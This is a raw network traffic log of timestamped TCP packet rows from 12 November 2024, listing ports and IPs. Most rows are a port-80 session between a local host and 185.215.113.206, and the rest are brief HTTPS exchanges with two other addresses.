Nov 12, 2024 06:23:34.373244047 CET	443	54539	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.382402897 CET	443	54526	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.382704020 CET	443	54526	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.382761955 CET	54526	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.382810116 CET	54526	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.382836103 CET	443	54526	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.382853031 CET	54526	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.382858038 CET	443	54526	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.384903908 CET	54540	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.384924889 CET	443	54540	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.385046959 CET	54540	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.385179996 CET	54540	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.385198116 CET	443	54540	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.389633894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.389678955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.389693975 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.389700890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.389715910 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.389733076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.389736891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.389750004 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.389787912 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.389792919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.389811039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.389822960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.389834881 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.389842987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.389847994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.389868021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.389887094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.390011072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.390029907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.390049934 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.390063047 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.390084028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.390094995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.390140057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.437433004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.437447071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.437489986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.465605974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465624094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465641975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465652943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465656996 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.465666056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465677023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.465678930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465702057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.465713024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465723991 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.465745926 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.465841055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465853930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465863943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465873957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465887070 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.465892076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465908051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.465909004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465922117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465925932 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.465931892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.465949059 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.465976954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466157913 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466170073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466181040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466192961 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466208935 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466244936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466253996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466280937 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466308117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466353893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466365099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466378927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466387987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466394901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466398001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466409922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466439962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466607094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466617107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466626883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466645002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466648102 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466659069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.466660023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466682911 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.466979980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467029095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467031956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.467039108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467060089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467072964 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.467098951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.467099905 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467108965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467138052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.467838049 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467854023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467895031 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.467916012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467926025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467936039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467945099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.467952967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.467993021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.467993021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.468569040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.468606949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.468616009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.468626976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.468640089 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.468668938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.505125999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505173922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.505183935 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505194902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505211115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505214930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.505218983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505224943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.505234003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505244970 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.505249023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505261898 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505270004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505270958 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505273104 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.505292892 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.505317926 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.505435944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505440950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505472898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.505486965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505491018 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.505496025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.505527020 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.580058098 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.580085993 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.580116987 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.580171108 CET	54522	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:34.580195904 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.580874920 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.580904961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.580915928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.580925941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.580939054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.580960035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.580971956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.580977917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.580987930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.580991030 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581008911 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581022978 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581028938 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581037998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581053019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581062078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581063986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581070900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581083059 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581103086 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581372976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581389904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581399918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581403017 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581417084 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581419945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581435919 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581446886 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581609011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581619024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581630945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581645012 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581675053 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581680059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581690073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581700087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581713915 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581738949 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581906080 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581914902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581923962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.581938028 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.581965923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.582055092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582065105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582076073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582087994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582092047 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.582112074 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.582128048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.582227945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582268000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.582351923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582360983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582370996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582380056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582381964 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.582396030 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.582421064 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.582448006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582458019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582467079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582475901 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582484961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.582484007 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.582494974 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.582513094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.583487034 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.583503008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.583513021 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.583517075 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.583520889 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.583530903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.583530903 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.583545923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.583585978 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.584032059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.584042072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.584055901 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.584070921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.584105015 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.584916115 CET	54522	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:34.584934950 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.584943056 CET	54522	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:34.585052013 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.585076094 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.585124016 CET	54522	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:34.620461941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620507956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.620601892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620609999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620615005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620620966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620634079 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.620656013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.620661020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620670080 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620683908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620686054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.620698929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620711088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.620713949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620731115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.620760918 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.620799065 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620807886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620839119 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.620866060 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620874882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.620901108 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.620908976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.683238029 CET	54541	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:34.683276892 CET	443	54541	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.683401108 CET	54541	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:34.683660984 CET	54541	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:34.683675051 CET	443	54541	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.696309090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696321011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696336031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696346998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696352959 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696367979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696377039 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696409941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696413040 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696422100 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696432114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696443081 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696455956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696460009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696470022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696470976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696484089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696485043 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696491003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696492910 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696502924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696597099 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696804047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696854115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696865082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696877003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696887016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.696908951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696926117 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.696990967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697038889 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697042942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697057962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697072983 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697097063 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697102070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697118044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697130919 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697145939 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697309971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697315931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697323084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697351933 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697381973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697423935 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697424889 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697446108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697457075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697458029 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697467089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697479963 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697508097 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697722912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697765112 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697772026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697804928 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697814941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697825909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697835922 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697844982 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697849989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697865009 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697880983 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.697952986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.697993994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.698014975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698024988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698035955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698040962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.698054075 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.698067904 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.698132038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698175907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698189974 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.698216915 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.698714972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698734045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698744059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698751926 CET	49779	80	192.168.2.5	185.215.113.206
